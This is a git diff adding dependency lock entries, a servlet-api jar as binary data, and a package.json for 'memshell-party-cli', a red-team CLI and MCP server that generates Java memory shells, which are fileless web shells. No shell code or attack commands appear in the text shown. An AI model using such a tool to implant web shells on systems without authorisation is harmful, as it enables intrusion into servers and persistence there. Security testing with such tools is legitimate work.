+ "stylus": {
+ "optional": true
+ },
+ "sugarss": {
+ "optional": true
+ },
+ "terser": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/vite-node": {
+ "version": "2.1.9",
+ "resolved": "https://registry.npmjs.org/vite-node/-/vite-node-2.1.9.tgz",
+ "integrity": "sha512-AM9aQ/IPrW/6ENLQg3AGY4K1N2TGZdR5e4gu/MmmR2xR3Ll1+dib+nook92g4TV3PXVyeyxdWwtaCAiUL0hMxA==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "cac": "^6.7.14",
+ "debug": "^4.3.7",
+ "es-module-lexer": "^1.5.4",
+ "pathe": "^1.1.2",
+ "vite": "^5.0.0"
+ },
+ "bin": {
+ "vite-node": "vite-node.mjs"
+ },
+ "engines": {
+ "node": "^18.0.0 || >=20.0.0"
+ },
+ "funding": {
+ "url": "https://opencollective.com/vitest"
+ }
+ },
+ "node_modules/vite-node/node_modules/pathe": {
+ "version": "1.1.2",
+ "resolved": "https://registry.npmjs.org/pathe/-/pathe-1.1.2.tgz",
+ "integrity": "sha512-whLdWMYL2TwI08hn8/ZqAbrVemu0LNaNNJZX73O6qaIdCTfXutsLhMkjdENX0qhsQ9uIimo4/aQOmXkoon2nDQ==",
+ "dev": true,
+ "license": "MIT"
+ },
+ "node_modules/vite/node_modules/@esbuild/aix-ppc64": {
+ "version": "0.21.5",
+ "resolved": "https://registry.npmjs.org/@esbuild/aix-ppc64/-/aix-ppc64-0.21.5.tgz",
+ "integrity": "sha512-1SDgH6ZSPTlggy1yI6+Dbkiz8xzpHJEVAlF/AM1tHPLsf5STom9rwtjE4hKAF20FfXXNTFqEYXyJNWh1GiZedQ==",
+ "cpu": [
+ "ppc64"
+ ],
+ "dev": true,
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "aix"
+ ],
+ "engines": {
+ "node": ">=12"
+ }
+ },
+ "node_modules/vite/node_modules/@esbuild/android-arm": {
+ "version": "0.21.5",
+ "resolved": "https://registry.npmjs.org/@esbuild/android-arm/-/android-arm-0.21.5.tgz",
+ "integrity": "sha512-vCPvzSjpPHEi1siZdlvAlsPxXl7WbOVUBBAowWug4rJHb68Ox8KualB+1ocNvT5fjv6wpkX6o/iEpbDrf68zcg==",
+ "cpu": [
+ "arm"
+ ],
+ "dev": true,
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "android"
+ ],
+ "engines": {
+ "node": ">=12"
+ }
+ },
+ "node_modules/vite/node_modules/@esbuild/android-arm64": {
+ "version": "0.21.5",
+ "resolved": "https://registry.npmjs.org/@esbuild/android-arm64/-/android-arm64-0.21.5.tgz",
+ "integrity": "sha512-c0uX9VAUBQ7dTDCjq+wdyGLowMdtR/GoC2U5IYk/7D1H1JYC0qseD7+11iMP2mRLN9RcCMRcjC4YMclCzGwS/A==",
+ "cpu": [
+ "arm64"
+ ],
+ "dev": true,
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "android"
+ ],
+ "engines": {
+ "node": ">=12"
+ }
+ },
+ "node_modules/vite/node_modules/@esbuild/android-x64": {
+ "version": "0.21.5",
+ "resolved": "https://registry.npmjs.org/@esbuild/android-x64/-/android-x64-0.21.5.tgz",
+ "integrity": "sha512-D7aPRUUNHRBwHxzxRvp856rjUHRFW1SdQATKXH2hqA0kAZb1hKmi02OpYRacl0TxIGz/ZmXWlbZgjwWYaCakTA==",
+ "cpu": [
+ "x64"
+ ],
+ "dev": true,
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "android"
+ ],
+ "engines": {
+ "node": ">=12"
+ }
+ },
+ "node_modules/vite/node_modules/@esbuild/darwin-arm64": {
+ "version": "0.21.5",
+ "resolved": "https://registry.npmjs.org/@esbuild/darwin-arm64/-/darwin-arm64-0.21.5.tgz",
+ "integrity": "sha512-DwqXqZyuk5AiWWf3UfLiRDJ5EDd49zg6O9wclZ7kUMv2WRFr4HKjXp/5t8JZ11QbQfUS6/cRCKGwYhtNAY88kQ==",
+ "cpu": [
+ "arm64"
+ ],
+ "dev": true,
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "darwin"
+ ],
+ "engines": {
+ "node": ">=12"
+ }
+ },
+ "node_modules/vite/node_modules/@esbuild/darwin-x64": {
+ "version": "0.21.5",
+ "resolved": "https://registry.npmjs.org/@esbuild/darwin-x64/-/darwin-x64-0.21.5.tgz",
+ "integrity": "sha512-se/JjF8NlmKVG4kNIuyWMV/22ZaerB+qaSi5MdrXtd6R08kvs2qCN4C09miupktDitvh8jRFflwGFBQcxZRjbw==",
+ "cpu": [
+ "x64"
+ ],
+ "dev": true,
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "darwin"
+ ],
+ "engines": {
+ "node": ">=12"
+ }
+ },
+ "node_modules/vite/node_modules/@esbuild/freebsd-arm64": {
+ "version": "0.21.5",
+ "resolved": "https://registry.npmjs.org/@esbuild/freebsd-arm64/-/freebsd-arm64-0.21.5.tgz",
+ "integrity": "sha512-5JcRxxRDUJLX8JXp/wcBCy3pENnCgBR9bN6JsY4OmhfUtIHe3ZW0mawA7+RDAcMLrMIZaf03NlQiX9DGyB8h4g==",
+ "cpu": [
+ "arm64"
+ ],
+ "dev": true,
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "freebsd"
+ ],
+ "engines": {
+ "node": ">=12"
+ }
+ },
+ "node_modules/vite/node_modules/@esbuild/freebsd-x64": {
+ "version": "0.21.5",
+ "resolved": "https://registry.npmjs.org/@esbuild/freebsd-x64/-/freebsd-x64-0.21.5.tgz",
+ "integrity": "sha512-J95kNBj1zkbMXtHVH29bBriQygMXqoVQOQYA+ISs0/2l3T9/kj42ow2mpqerRBxDJnmkUDCaQT/dfNXWX/ZZCQ==",
+ "cpu": [
+ "x64"
+ ],
+ "dev": true,
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "freebsd"
+ ],
+ "engines": {
+ "node": ">=12"
+ }
+ },
+ "node_modules/vite/node_modules/@esbuild/linux-arm": {
+ "version": "0.21.5",
+ "resolved": "https://registry.npmjs.org/@esbuild/linux-arm/-/linux-arm-0.21.5.tgz",
+ "integrity": "sha512-bPb5AHZtbeNGjCKVZ9UGqGwo8EUu4cLq68E95A53KlxAPRmUyYv2D6F0uUI65XisGOL1hBP5mTronbgo+0bFcA==",
+ "cpu": [
+ "arm"
+ ],
+ "dev": true,
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "linux"
+ ],
+ "engines": {
+ "node": ">=12"
+ }
+ },
+ "node_modules/vite/node_modules/@esbuild/linux-arm64": {
+ "version": "0.21.5",
+ "resolved": "https://registry.npmjs.org/@esbuild/linux-arm64/-/linux-arm64-0.21.5.tgz",
+ "integrity": "sha512-ibKvmyYzKsBeX8d8I7MH/TMfWDXBF3db4qM6sy+7re0YXya+K1cem3on9XgdT2EQGMu4hQyZhan7TeQ8XkGp4Q==",
+ "cpu": [
+ "arm64"
+ ],
+ "dev": true,
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "linux"
+ ],
+ "engines": {
+ "node": ">=12"
+ }
+ },
+ "node_modules/vite/node_modules/@esbuild/linux-ia32": {
+ "version": "0.21.5",
+ "resolved": "https://registry.npmjs.org/@esbuild/linux-ia32/-/linux-ia32-0.21.5.tgz",
+ "integrity": "sha512-YvjXDqLRqPDl2dvRODYmmhz4rPeVKYvppfGYKSNGdyZkA01046pLWyRKKI3ax8fbJoK5QbxblURkwK/MWY18Tg==",
+ "cpu": [
+ "ia32"
+ ],
+ "dev": true,
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "linux"
+ ],
+ "engines": {
+ "node": ">=12"
+ }
+ },
+ "node_modules/vite/node_modules/@esbuild/linux-loong64": {
+ "version": "0.21.5",
+ "resolved": "https://registry.npmjs.org/@esbuild/linux-loong64/-/linux-loong64-0.21.5.tgz",
+ "integrity": "sha512-uHf1BmMG8qEvzdrzAqg2SIG/02+4/DHB6a9Kbya0XDvwDEKCoC8ZRWI5JJvNdUjtciBGFQ5PuBlpEOXQj+JQSg==",
+ "cpu": [
+ "loong64"
+ ],
+ "dev": true,
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "linux"
+ ],
+ "engines": {
+ "node": ">=12"
+ }
+ },
+ "node_modules/vite/node_modules/@esbuild/linux-mips64el": {
+ "version": "0.21.5",
+ "resolved": "https://registry.npmjs.org/@esbuild/linux-mips64el/-/linux-mips64el-0.21.5.tgz",
+ "integrity": "sha512-IajOmO+KJK23bj52dFSNCMsz1QP1DqM6cwLUv3W1QwyxkyIWecfafnI555fvSGqEKwjMXVLokcV5ygHW5b3Jbg==",
+ "cpu": [
+ "mips64el"
+ ],
+ "dev": true,
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "linux"
+ ],
+ "engines": {
+ "node": ">=12"
+ }
+ },
+ "node_modules/vite/node_modules/@esbuild/linux-ppc64": {
+ "version": "0.21.5",
+ "resolved": "https://registry.npmjs.org/@esbuild/linux-ppc64/-/linux-ppc64-0.21.5.tgz",
+ "integrity": "sha512-1hHV/Z4OEfMwpLO8rp7CvlhBDnjsC3CttJXIhBi+5Aj5r+MBvy4egg7wCbe//hSsT+RvDAG7s81tAvpL2XAE4w==",
+ "cpu": [
+ "ppc64"
+ ],
+ "dev": true,
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "linux"
+ ],
+ "engines": {
+ "node": ">=12"
+ }
+ },
+ "node_modules/vite/node_modules/@esbuild/linux-riscv64": {
+ "version": "0.21.5",
+ "resolved": "https://registry.npmjs.org/@esbuild/linux-riscv64/-/linux-riscv64-0.21.5.tgz",
+ "integrity": "sha512-2HdXDMd9GMgTGrPWnJzP2ALSokE/0O5HhTUvWIbD3YdjME8JwvSCnNGBnTThKGEB91OZhzrJ4qIIxk/SBmyDDA==",
+ "cpu": [
+ "riscv64"
+ ],
+ "dev": true,
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "linux"
+ ],
+ "engines": {
+ "node": ">=12"
+ }
+ },
+ "node_modules/vite/node_modules/@esbuild/linux-s390x": {
+ "version": "0.21.5",
+ "resolved": "https://registry.npmjs.org/@esbuild/linux-s390x/-/linux-s390x-0.21.5.tgz",
+ "integrity": "sha512-zus5sxzqBJD3eXxwvjN1yQkRepANgxE9lgOW2qLnmr8ikMTphkjgXu1HR01K4FJg8h1kEEDAqDcZQtbrRnB41A==",
+ "cpu": [
+ "s390x"
+ ],
+ "dev": true,
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "linux"
+ ],
+ "engines": {
+ "node": ">=12"
+ }
+ },
+ "node_modules/vite/node_modules/@esbuild/linux-x64": {
+ "version": "0.21.5",
+ "resolved": "https://registry.npmjs.org/@esbuild/linux-x64/-/linux-x64-0.21.5.tgz",
+ "integrity": "sha512-1rYdTpyv03iycF1+BhzrzQJCdOuAOtaqHTWJZCWvijKD2N5Xu0TtVC8/+1faWqcP9iBCWOmjmhoH94dH82BxPQ==",
+ "cpu": [
+ "x64"
+ ],
+ "dev": true,
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "linux"
+ ],
+ "engines": {
+ "node": ">=12"
+ }
+ },
+ "node_modules/vite/node_modules/@esbuild/netbsd-x64": {
+ "version": "0.21.5",
+ "resolved": "https://registry.npmjs.org/@esbuild/netbsd-x64/-/netbsd-x64-0.21.5.tgz",
+ "integrity": "sha512-Woi2MXzXjMULccIwMnLciyZH4nCIMpWQAs049KEeMvOcNADVxo0UBIQPfSmxB3CWKedngg7sWZdLvLczpe0tLg==",
+ "cpu": [
+ "x64"
+ ],
+ "dev": true,
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "netbsd"
+ ],
+ "engines": {
+ "node": ">=12"
+ }
+ },
+ "node_modules/vite/node_modules/@esbuild/openbsd-x64": {
+ "version": "0.21.5",
+ "resolved": "https://registry.npmjs.org/@esbuild/openbsd-x64/-/openbsd-x64-0.21.5.tgz",
+ "integrity": "sha512-HLNNw99xsvx12lFBUwoT8EVCsSvRNDVxNpjZ7bPn947b8gJPzeHWyNVhFsaerc0n3TsbOINvRP2byTZ5LKezow==",
+ "cpu": [
+ "x64"
+ ],
+ "dev": true,
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "openbsd"
+ ],
+ "engines": {
+ "node": ">=12"
+ }
+ },
+ "node_modules/vite/node_modules/@esbuild/sunos-x64": {
+ "version": "0.21.5",
+ "resolved": "https://registry.npmjs.org/@esbuild/sunos-x64/-/sunos-x64-0.21.5.tgz",
+ "integrity": "sha512-6+gjmFpfy0BHU5Tpptkuh8+uw3mnrvgs+dSPQXQOv3ekbordwnzTVEb4qnIvQcYXq6gzkyTnoZ9dZG+D4garKg==",
+ "cpu": [
+ "x64"
+ ],
+ "dev": true,
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "sunos"
+ ],
+ "engines": {
+ "node": ">=12"
+ }
+ },
+ "node_modules/vite/node_modules/@esbuild/win32-arm64": {
+ "version": "0.21.5",
+ "resolved": "https://registry.npmjs.org/@esbuild/win32-arm64/-/win32-arm64-0.21.5.tgz",
+ "integrity": "sha512-Z0gOTd75VvXqyq7nsl93zwahcTROgqvuAcYDUr+vOv8uHhNSKROyU961kgtCD1e95IqPKSQKH7tBTslnS3tA8A==",
+ "cpu": [
+ "arm64"
+ ],
+ "dev": true,
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "win32"
+ ],
+ "engines": {
+ "node": ">=12"
+ }
+ },
+ "node_modules/vite/node_modules/@esbuild/win32-ia32": {
+ "version": "0.21.5",
+ "resolved": "https://registry.npmjs.org/@esbuild/win32-ia32/-/win32-ia32-0.21.5.tgz",
+ "integrity": "sha512-SWXFF1CL2RVNMaVs+BBClwtfZSvDgtL//G/smwAc5oVK/UPu2Gu9tIaRgFmYFFKrmg3SyAjSrElf0TiJ1v8fYA==",
+ "cpu": [
+ "ia32"
+ ],
+ "dev": true,
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "win32"
+ ],
+ "engines": {
+ "node": ">=12"
+ }
+ },
+ "node_modules/vite/node_modules/@esbuild/win32-x64": {
+ "version": "0.21.5",
+ "resolved": "https://registry.npmjs.org/@esbuild/win32-x64/-/win32-x64-0.21.5.tgz",
+ "integrity": "sha512-tQd/1efJuzPC6rCFwEvLtci/xNFcTZknmXs98FYDfGE4wP9ClFV98nyKrzJKVPMhdDnjzLhdUyMX4PsQAPjwIw==",
+ "cpu": [
+ "x64"
+ ],
+ "dev": true,
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "win32"
+ ],
+ "engines": {
+ "node": ">=12"
+ }
+ },
+ "node_modules/vite/node_modules/esbuild": {
+ "version": "0.21.5",
+ "resolved": "https://registry.npmjs.org/esbuild/-/esbuild-0.21.5.tgz",
+ "integrity": "sha512-mg3OPMV4hXywwpoDxu3Qda5xCKQi+vCTZq8S9J/EpkhB2HzKXq4SNFZE3+NK93JYxc8VMSep+lOUSC/RVKaBqw==",
+ "dev": true,
+ "hasInstallScript": true,
+ "license": "MIT",
+ "bin": {
+ "esbuild": "bin/esbuild"
+ },
+ "engines": {
+ "node": ">=12"
+ },
+ "optionalDependencies": {
+ "@esbuild/aix-ppc64": "0.21.5",
+ "@esbuild/android-arm": "0.21.5",
+ "@esbuild/android-arm64": "0.21.5",
+ "@esbuild/android-x64": "0.21.5",
+ "@esbuild/darwin-arm64": "0.21.5",
+ "@esbuild/darwin-x64": "0.21.5",
+ "@esbuild/freebsd-arm64": "0.21.5",
+ "@esbuild/freebsd-x64": "0.21.5",
+ "@esbuild/linux-arm": "0.21.5",
+ "@esbuild/linux-arm64": "0.21.5",
+ "@esbuild/linux-ia32": "0.21.5",
+ "@esbuild/linux-loong64": "0.21.5",
+ "@esbuild/linux-mips64el": "0.21.5",
+ "@esbuild/linux-ppc64": "0.21.5",
+ "@esbuild/linux-riscv64": "0.21.5",
+ "@esbuild/linux-s390x": "0.21.5",
+ "@esbuild/linux-x64": "0.21.5",
+ "@esbuild/netbsd-x64": "0.21.5",
+ "@esbuild/openbsd-x64": "0.21.5",
+ "@esbuild/sunos-x64": "0.21.5",
+ "@esbuild/win32-arm64": "0.21.5",
+ "@esbuild/win32-ia32": "0.21.5",
+ "@esbuild/win32-x64": "0.21.5"
+ }
+ },
+ "node_modules/vitest": {
+ "version": "2.1.9",
+ "resolved": "https://registry.npmjs.org/vitest/-/vitest-2.1.9.tgz",
+ "integrity": "sha512-MSmPM9REYqDGBI8439mA4mWhV5sKmDlBKWIYbA3lRb2PTHACE0mgKwA8yQ2xq9vxDTuk4iPrECBAEW2aoFXY0Q==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "@vitest/expect": "2.1.9",
+ "@vitest/mocker": "2.1.9",
+ "@vitest/pretty-format": "^2.1.9",
+ "@vitest/runner": "2.1.9",
+ "@vitest/snapshot": "2.1.9",
+ "@vitest/spy": "2.1.9",
+ "@vitest/utils": "2.1.9",
+ "chai": "^5.1.2",
+ "debug": "^4.3.7",
+ "expect-type": "^1.1.0",
+ "magic-string": "^0.30.12",
+ "pathe": "^1.1.2",
+ "std-env": "^3.8.0",
+ "tinybench": "^2.9.0",
+ "tinyexec": "^0.3.1",
+ "tinypool": "^1.0.1",
+ "tinyrainbow": "^1.2.0",
+ "vite": "^5.0.0",
+ "vite-node": "2.1.9",
+ "why-is-node-running": "^2.3.0"
+ },
+ "bin": {
+ "vitest": "vitest.mjs"
+ },
+ "engines": {
+ "node": "^18.0.0 || >=20.0.0"
+ },
+ "funding": {
+ "url": "https://opencollective.com/vitest"
+ },
+ "peerDependencies": {
+ "@edge-runtime/vm": "*",
+ "@types/node": "^18.0.0 || >=20.0.0",
+ "@vitest/browser": "2.1.9",
+ "@vitest/ui": "2.1.9",
+ "happy-dom": "*",
+ "jsdom": "*"
+ },
+ "peerDependenciesMeta": {
+ "@edge-runtime/vm": {
+ "optional": true
+ },
+ "@types/node": {
+ "optional": true
+ },
+ "@vitest/browser": {
+ "optional": true
+ },
+ "@vitest/ui": {
+ "optional": true
+ },
+ "happy-dom": {
+ "optional": true
+ },
+ "jsdom": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/vitest/node_modules/pathe": {
+ "version": "1.1.2",
+ "resolved": "https://registry.npmjs.org/pathe/-/pathe-1.1.2.tgz",
+ "integrity": "sha512-whLdWMYL2TwI08hn8/ZqAbrVemu0LNaNNJZX73O6qaIdCTfXutsLhMkjdENX0qhsQ9uIimo4/aQOmXkoon2nDQ==",
+ "dev": true,
+ "license": "MIT"
+ },
+ "node_modules/which": {
+ "version": "2.0.2",
+ "resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz",
+ "integrity": "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==",
+ "license": "ISC",
+ "dependencies": {
+ "isexe": "^2.0.0"
+ },
+ "bin": {
+ "node-which": "bin/node-which"
+ },
+ "engines": {
+ "node": ">= 8"
+ }
+ },
+ "node_modules/why-is-node-running": {
+ "version": "2.3.0",
+ "resolved": "https://registry.npmjs.org/why-is-node-running/-/why-is-node-running-2.3.0.tgz",
+ "integrity": "sha512-hUrmaWBdVDcxvYqnyh09zunKzROWjbZTiNy8dBEjkS7ehEDQibXJ7XvlmtbwuTclUiIyN+CyXQD4Vmko8fNm8w==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "siginfo": "^2.0.0",
+ "stackback": "0.0.2"
+ },
+ "bin": {
+ "why-is-node-running": "cli.js"
+ },
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/wrap-ansi": {
+ "version": "6.2.0",
+ "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-6.2.0.tgz",
+ "integrity": "sha512-r6lPcBGxZXlIcymEu7InxDMhdW0KDxpLgoFLcguasxCaJ/SOIZwINatK9KY/tf+ZrlywOKU0UDj3ATXUBfxJXA==",
+ "license": "MIT",
+ "dependencies": {
+ "ansi-styles": "^4.0.0",
+ "string-width": "^4.1.0",
+ "strip-ansi": "^6.0.0"
+ },
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/wrappy": {
+ "version": "1.0.2",
+ "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz",
+ "integrity": "sha512-l4Sp/DRseor9wL6EvV2+TuQn63dMkPjZ/sp9XkghTEbV9KlPS1xUsZ3u7/IQO4wxtcFB4bgpQPRcR3QCvezPcQ==",
+ "license": "ISC"
+ },
+ "node_modules/yoctocolors-cjs": {
+ "version": "2.1.3",
+ "resolved": "https://registry.npmjs.org/yoctocolors-cjs/-/yoctocolors-cjs-2.1.3.tgz",
+ "integrity": "sha512-U/PBtDf35ff0D8X8D0jfdzHYEPFxAI7jJlxZXwCSez5M3190m+QobIfh+sWDWSHMCWWJN2AWamkegn6vr6YBTw==",
+ "license": "MIT",
+ "engines": {
+ "node": ">=18"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/sindresorhus"
+ }
+ },
+ "node_modules/zod": {
+ "version": "3.25.76",
+ "resolved": "https://registry.npmjs.org/zod/-/zod-3.25.76.tgz",
+ "integrity": "sha512-gzUt/qt81nXsFGKIFcC3YnfEAx5NkunCfnDlvuBSSFS02bcXu4Lmea0AFIUwbLWxWPx3d9p8S5QoaujKcNQxcQ==",
+ "license": "MIT",
+ "funding": {
+ "url": "https://github.com/sponsors/colinhacks"
+ }
+ },
+ "node_modules/zod-to-json-schema": {
+ "version": "3.25.2",
+ "resolved": "https://registry.npmjs.org/zod-to-json-schema/-/zod-to-json-schema-3.25.2.tgz",
+ "integrity": "sha512-O/PgfnpT1xKSDeQYSCfRI5Gy3hPf91mKVDuYLUHZJMiDFptvP41MSnWofm8dnCm0256ZNfZIM7DSzuSMAFnjHA==",
+ "license": "ISC",
+ "peerDependencies": {
+ "zod": "^3.25.28 || ^4"
+ }
+ }
+ }
+}
diff --git a/tools/cli/package.json b/tools/cli/package.json
new file mode 100644
index 00000000..01adf121
--- /dev/null
+++ b/tools/cli/package.json
@@ -0,0 +1,52 @@
+{
+ "name": "memshell-party-cli",
+ "version": "0.6.0",
+ "description": "Command-line client and MCP server for MemShellParty (party.mem.mk) — generate Java memory shells and probes from the terminal.",
+ "keywords": [
+ "memshell",
+ "memshellparty",
+ "security",
+ "redteam",
+ "cli",
+ "mcp",
+ "java"
+ ],
+ "type": "module",
+ "bin": {
+ "memparty": "dist/cli.js"
+ },
+ "files": [
+ "dist",
+ "resources",
+ "skills",
+ "README.md",
+ "README.en.md",
+ "LICENSE"
+ ],
+ "engines": {
+ "node": ">=18"
+ },
+ "scripts": {
+ "build": "tsup",
+ "dev": "tsup --watch",
+ "test": "vitest run",
+ "test:watch": "vitest",
+ "typecheck": "tsc --noEmit",
+ "start": "node dist/cli.js",
+ "prepublishOnly": "npm run build"
+ },
+ "dependencies": {
+ "@inquirer/prompts": "^7.2.1",
+ "@modelcontextprotocol/sdk": "^1.12.1",
+ "commander": "^12.1.0",
+ "iconv-lite": "^0.7.3",
+ "zod": "^3.24.1"
+ },
+ "devDependencies": {
+ "@types/node": "^22.10.2",
+ "tsup": "^8.3.5",
+ "typescript": "^5.7.2",
+ "vitest": "^2.1.8"
+ },
+ "license": "MIT"
+}
diff --git a/tools/cli/resources/javax.servlet-api-3.1.0.jar b/tools/cli/resources/javax.servlet-api-3.1.0.jar
new file mode 100644
index 0000000000000000000000000000000000000000..6b14c3d267867e76c04948bb31b3de18e01412ee
GIT binary patch
literal 95806
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
